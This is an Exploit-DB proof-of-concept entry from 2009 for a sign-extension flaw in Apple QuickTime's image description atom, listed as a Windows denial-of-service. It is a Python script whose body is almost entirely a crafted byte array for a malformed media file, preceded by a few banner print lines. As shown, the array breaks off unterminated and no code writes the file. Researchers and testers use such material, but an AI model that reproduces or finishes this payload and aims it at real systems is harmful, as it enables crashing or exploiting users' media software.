Exploit-DB #8862
Description: Apple QuickTime - Image Description Atom Sign Extension (PoC)
Type: dos
Platform: windows
Date: 2009-06-03
Author: webDEViL

Exploit:
print "			-----------BID 35166----------"
print "			w3bd3vil [at] gmail [dot] com"
print "Apple QuickTime Image Description Atom Sign Extension Vulnerability PoC"
print "			-----------BID 35166----------"
bytes = [
0x00, 0x00, 0x00, 0x08, 0x77, 0x69, 0x64, 0x65, 0x00, 0x02, 0xD6, 0x48, 0x6D, 0x64, 0x61, 0x74, 0xE1,
0x00, 0x14, 0x58, 0xA0, 0x00, 0x00, 0x05, 0x29, 0x80, 0x00, 0x00, 0x0C, 0x00, 0x00, 0xA3, 0x00, 0x00,
0x2C, 0x01, 0x80, 0x00, 0x00, 0x0C, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x2E, 0x0E, 0x80, 0x00, 0xC0, 0x00,
0x00, 0x00, 0xA3, 0x00, 0x00, 0x7D, 0x7B, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xB4, 0x00, 0x00, 0x00,
0x26, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xA1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x96, 0x00, 0x00,
0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB3, 0x00, 0x00, 0x7C, 0x8E, 0x80, 0x00, 0x03, 0x00,
0x00, 0x00, 0xA5, 0x00, 0x00, 0x2C, 0x01, 0x80, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x43, 0xFD, 0x80, 0x00,
0x00, 0x00, 0x00, 0x30, 0xA0, 0x00, 0x00, 0x12, 0x70, 0x80, 0x00, 0x00, 0x00, 0x03, 0x00, 0xA7, 0x00,
0x00, 0x05, 0xC4, 0x80, 0x00, 0xC0, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x2C, 0x01, 0x80, 0x00, 0x00,
0x00, 0x00, 0xC0, 0xA1, 0x00, 0x00, 0x04, 0x8E, 0x80, 0x00, 0x30, 0x00, 0x00, 0x00, 0x2C, 0x01, 0x80,
0x00, 0x00, 0x00, 0x00, 0x03, 0xAB, 0x00, 0x00, 0x00, 0xC4, 0x80, 0x00, 0x00, 0x00, 0x0C, 0x00, 0xA4,
0x00, 0x00, 0x00, 0x26, 0x80, 0x00, 0x30, 0x00, 0x00, 0x00, 0xA4, 0x00, 0x00, 0x11, 0x70, 0x80, 0x00,
0x00, 0x00, 0xC0, 0x00, 0xA4, 0x00, 0x00, 0xA7, 0x00, 0x00, 0x05, 0x24, 0x80, 0x00, 0x00, 0x30, 0x00,
0x00, 0xA5, 0x00, 0x00, 0x00, 0x26, 0x80, 0x00, 0x00, 0x00, 0x03, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x26,
0x80, 0x00, 0x00, 0x0C, 0x00, 0x00, 0xAB, 0x00, 0x00, 0x2E, 0x0E, 0x80, 0x00, 0x0C, 0x00, 0x00, 0x00,
0xA6, 0x00, 0x00, 0xA1, 0x00, 0x00, 0x04, 0x98, 0x80, 0x00, 0xC0, 0x00, 0x00, 0x00, 0xA2, 0x00, 0x00,
0x04, 0x8E, 0x80, 0x00, 0x30, 0x00, 0x00, 0x00, 0xB1, 0x00, 0x00, 0x00, 0x26, 0x80, 0x00, 0x03, 0x00,
0x00, 0x00, 0xAA, 0x00, 0x00, 0x00, 0x84, 0x80, 0x00, 0x00, 0x30, 0x00, 0x00, 0xA1, 0x00, 0x00, 0xAE,
0x00, 0x00, 0x00, 0x26, 0x80, 0x00, 0x30, 0x00, 0x00, 0x00, 0xA7, 0x00, 0x00, 0x00, 0x21, 0x80, 0x00,
0xC0, 0x00, 0x00, 0x00, 0xAE, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x59, 0x29, 0x80, 0x00, 0x00, 0x0C, 0x00,
0x00, 0xA1, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0x09, 0x07, 0x80, 0x00, 0x00,
0x01, 0x17, 0x7F, 0x2C, 0xA0, 0x80, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0x30, 0xC0, 0x88, 0x00, 0x00, 0xFF,
0xFF, 0xFF, 0x30, 0xC0, 0x88, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x30, 0xC0, 0x88, 0x00, 0x00, 0xFF, 0xFF,
0xFF, 0x30, 0xC0, 0x84, 0x00, 0x40, 0xC0, 0xFC, 0xFF, 0x08, 0x00, 0x80, 0x00, 0x55, 0x55, 0x55, 0xF0,
0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFD, 0x00, 0x04,
0x00, 0x80, 0x00, 0xFF, 0xFF, 0x55, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0x55, 0x00, 0x04, 0x00,
0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x04, 0x00, 0x00, 0x01, 0x00,
0x01, 0x00, 0x01, 0x2C, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6F, 0xB6, 0x00, 0x21, 0x80, 0x00,
0x55, 0x55, 0x00, 0xC0, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF,
0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF,
0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x59, 0x29, 0x80, 0x00, 0xC0, 0x00, 0x00,
0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00,
0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x04,
0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x7F, 0xFF,
0x80, 0x00, 0x00, 0x30, 0x00, 0x00, 0xA2, 0x00, 0x00, 0x74, 0x89, 0x80, 0x00, 0x00, 0x00, 0x00, 0xC0,
0xA4, 0x00, 0x00, 0xA3, 0x00, 0x00, 0x08, 0x84, 0x80, 0x00, 0x00, 0x03, 0x0F, 0x3F, 0xA1, 0x30, 0xC0,
0x30, 0xC0, 0x88, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x30, 0xC0, 0x88, 0x00, 0xFF, 0xFF, 0xC0, 0x00, 0x30,
0xC0, 0x88, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x30, 0xC0, 0x88, 0x00, 0xFF, 0xFF, 0xC0, 0x00, 0x08, 0xA4,
0x84, 0x00, 0xC0, 0xC0, 0xF0, 0x00, 0x08, 0x00, 0x80, 0x00, 0x55, 0x55, 0x55, 0xF0, 0x04, 0x00, 0x80,
0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00,
0xFF, 0xFF, 0xFF, 0x00, 0x05, 0x29, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0C, 0x04, 0x00, 0x80, 0x00, 0xFF,
0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x10, 0xE5, 0x84, 0x00, 0x00, 0x00,
0x00, 0xFF, 0x14, 0xC4, 0x84, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x14, 0xC4, 0x84, 0x00, 0x00, 0x00, 0x00,
0xFF, 0x14, 0xC4, 0x84, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00,
0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x04,
0x00, 0x80, 0x00, 0xFF, 0xFF, 0xFF, 0x00, 0x5B, 0xFF, 0x80, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x04, 0x00,
0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80,
0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00,
0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00,
0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF,
0xFF, 0x00, 0x04, 0x8E, 0x80, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x03, 0x80, 0x00, 0x03, 0x55, 0x55,
0x00, 0x04, 0x00, 0x80, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x10, 0xDF, 0x80, 0x00, 0x00, 0x00, 0x30, 0x00,
0xA1, 0x00, 0x00, 0x08, 0x00, 0x80, 0x00, 0x03, 0x03, 0x03, 0x3F, 0x30, 0xC0, 0x88, 0x00, 0x3F, 0xFF,
0xFF, 0xFF, 0xA0, 0x30, 0xC0, 0x30, 0xC0, 0x88, 0x00, 0xFF, 0xFC, 0xFC, 0xFC, 0x7F, 0x2C, 0x88, 0x00,
0x03, 0x0F, 0x3F, 0x3F, 0xA0, 0x7F, 0x2C, 0x7F, 0x2C, 0x88, 0x00, 0xF0, 0xFF, 0xFF, 0xFF, 0x7F, 0x2C,
0x88, 0x00,